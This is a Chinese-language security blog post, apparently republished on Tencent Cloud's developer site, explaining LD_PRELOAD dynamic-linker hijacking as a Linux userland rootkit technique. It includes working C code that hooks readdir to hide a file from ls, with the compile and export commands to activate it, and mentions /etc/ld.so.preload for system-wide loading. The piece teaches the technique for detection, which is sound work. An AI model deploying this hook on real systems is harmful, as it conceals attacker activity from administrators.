通过 LD_PRELOAD 进行动态链接器劫持是一种 Linux rootkit 技术,由不同的攻击者在野外使用。在本系列的第一部分中,我们将讨论此威胁并说明如何检测它。
Rootkit 通常是攻击者用来完全控制受感染资源并隐藏恶意活动的一种恶意软件。它们通常是持续性攻击活动的一部分,例如窃取敏感信息或进行间谍活动。Rootkit 可能难以检测和删除,因为它们利用高级技术来隐藏它们在系统上的存在。
为了实现不同的功能,rootkit 会拦截和更改正常的执行流程。拦截可以位于操作系统的不同层,包括用户空间级代码和内核级系统调用。
在本系列文章中,我们将重点介绍 Linux,因为它是云中的主要操作系统。我们将介绍三种不同的 Linux rootkit 技术:动态链接库劫持(LD_PRELOAD)、Linux kernel module(LKM) rootkit 和 eBPF rootkit。首先,我们将探讨用户态LD_PRELOAD rootkit 技术。我们将分析它,提供它在野外使用的示例,并解释如何检测它。
在我们深入研究技术本身之前,让我们先了解一下 Linux 动态链接器是什么。
在 Windows 和 Linux 等现代操作系统中,程序可以静态或动态链接。静态链接的二进制文件与执行所需的所有依赖项(库)一起编译。动态链接的二进制文件使用位于操作系统上的共享库。这些库将在运行时解析、加载和链接。负责此操作的 Linux 组件是动态链接器,也称为ld.so或ld-linux.so.*。
让我们自己实验一下:
让我们看一下二进制文件ls。
1. ldd该命令允许我们检查 ELF 的依赖项和共享库。打开终端并运行ldd ls。在输出中,我们可以看到二进制文件使用了libselinux、libc.so.6和libpcre库。第一个列出的依赖项是虚拟动态共享对象,这是一个常见的共享库,由内核自动映射到所有用户空间应用程序的地址空间中。最后列出的依赖库是动态链接器位置。
2. 接下来,运行strace ls,在下面的输出中,可以看到相应的库在执行时加载到内存中。
如果我们再看一下输出,系统会在加载之前检查是否存在/etc/ld.so.preload(第一个红框上方的五行)。这将我们引向下一节LD_PRELOAD。
Linux 动态链接器提供了一项重要功能叫做LD_PRELOAD。它保存用户指定的ELF共享对象的列表,使用户能够在任何其他共享库之前以及程序本身执行之前将这些共享对象加载到进程的地址空间中。此功能有多种用途,包括调试、测试和运行时检测,可以通过写入文件/etc/ld.so.preload或使用环境变量LD_PRELOAD来使用。
虽然它有许多合法用途,但攻击者也可以利用它,因为它允许覆盖动态链接程序使用的现有功能。此功能还使它们能够逃避检测、拦截机密并通常更改系统行为。
让我们自己实验一下:
在检查ls源代码时,我们可以看到 libc的ls函数用法。ls使用循环readdir函数的方式逐个读取目录条目。
该函数返回指向 dirent 结构的指针,该结构包含有关目录条目的信息,例如名称。一旦它返回 NULL,它就指向目录的末尾。
让我们创建一个库,修改readdir函数用以隐藏名为“malicious_file”的文件,编译它,并将其添加到LD_PRELOAD
1. 创建目录/tmp/working-dir-test并将以下代码复制到此目录下的文件hijackls.c中
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
// Function pointer typedef for the original readdir ls function
typedef struct dirent* (*ls_t)(DIR*);
// Interposed ls function
struct dirent* readdir(DIR* dirp) {
// Get the original readdir address
ls_t original_readdir = (ls_t)dlsym(RTLD_NEXT, "readdir");
struct dirent* entry;
do {
// Call the original ls function to get the next directory entry
entry = original_readdir(dirp);
// Check if the entry is the file we want to hide
if (entry != NULL && strcmp(entry->d_name, "malicious_file") == 0) {
// Skip the file by calling the original ls function again
entry = original_readdir(dirp);
}
} while (entry != NULL && strcmp(entry->d_name, "malicious_file") == 0);
return entry;
}
在上面的预加载库代码中,我们定义了一个函数readdir,该函数充当插入函数,并在执行ls命令时调用经过修改的readdir而不是原始readdir函数。在我们的插入函数中,我们使用dlsym获取原始函数的地址,然后调用它来获取下一个目录条目。我们将每个条目的名称与“malicious_file”进行比较,如果匹配,则跳过它,从而有效地将该文件从输出中隐藏起来。
dlsym允许我们在运行时获取共享对象/库中函数的地址。使用 dlsym 中的RTLD_NEXT句柄,我们可以找到并调用原始readdir函数。
2. 将代码编译为共享对象:
gcc -shared -fPIC -o /tmp/working-dir-test/libhijackls.so /tmp/working-dir-test/hijackls.c -ldl
3. 在其下创建一个目录,并在其中填充项目:
mkdir /tmp/ld-preload-test && cd /tmp/ld-preload-test && for i in file_1 file_2 malicious_file; do touch $i; done;
4. 运行ls并检查所有目录条目。
5. 导出到LD_PRELOAD共享对象的位置:
export LD_PRELOAD=/tmp/working-dir-test/libhijackls.so
6. 再次运行ls,您将看到我们成功劫持了该函数,并且输出不包含“malicious_file”。
7. 最后,通过运行unset LD_PRELOAD取消设置环境变量。
/etc/ld.so.preload是一个系统范围的配置文件,适用于所有进程并影响整个系统。访问此文件需要 root 权限。不同的是,LD_PRELOAD是一个环境变量,它允许单个用户为每个进程指定要为特定可执行文件或命令预加载的库。因此,您无需成为 root 用户即可使用它。LD_PRELOAD定义的库在/etc/ld.so.preload中的库之前加载。
动态链接器劫持 rootkit 技术已被许多攻击者使用。虽然有些人从头开始生成逻辑,但也有人使用公开可用的开源工具。以下是一些示例:
正如我们在前面的示例中看到的,攻击者使用不同的用户空间函数来hook,使得调查受感染的机器变得困难。以下检测方法可以帮助您确定是否感染了这种类型的 rootkit:
动态链接器劫持方式是一种 Linux rootkit 技术,被不同的威胁参与者在野外使用。成功部署此 rootkit 的攻击者可以对受感染的资源进行强大的控制,并且可以从许多功能中受益,例如隐藏恶意活动和拦截凭据收集功能。
在这篇博文中,我们了解了此 rootkit 的工作原理,并提供了有关如何在操作系统上检测它的最佳实践。请继续关注本系列的第 2 部分,我们将深入探讨 Linux 内核模块 (LKM) rootkit。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
扫码关注腾讯云开发者
领取腾讯云代金券
Copyright © 2013 - 2025 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号:粤B2-20090059 深公网安备号 44030502008569
腾讯云计算(北京)有限责任公司 京ICP证150476号 | 京ICP备11018762号 | 京公网安备号11010802020287
Copyright © 2013 - 2025 Tencent Cloud.
All Rights Reserved. 腾讯云 版权所有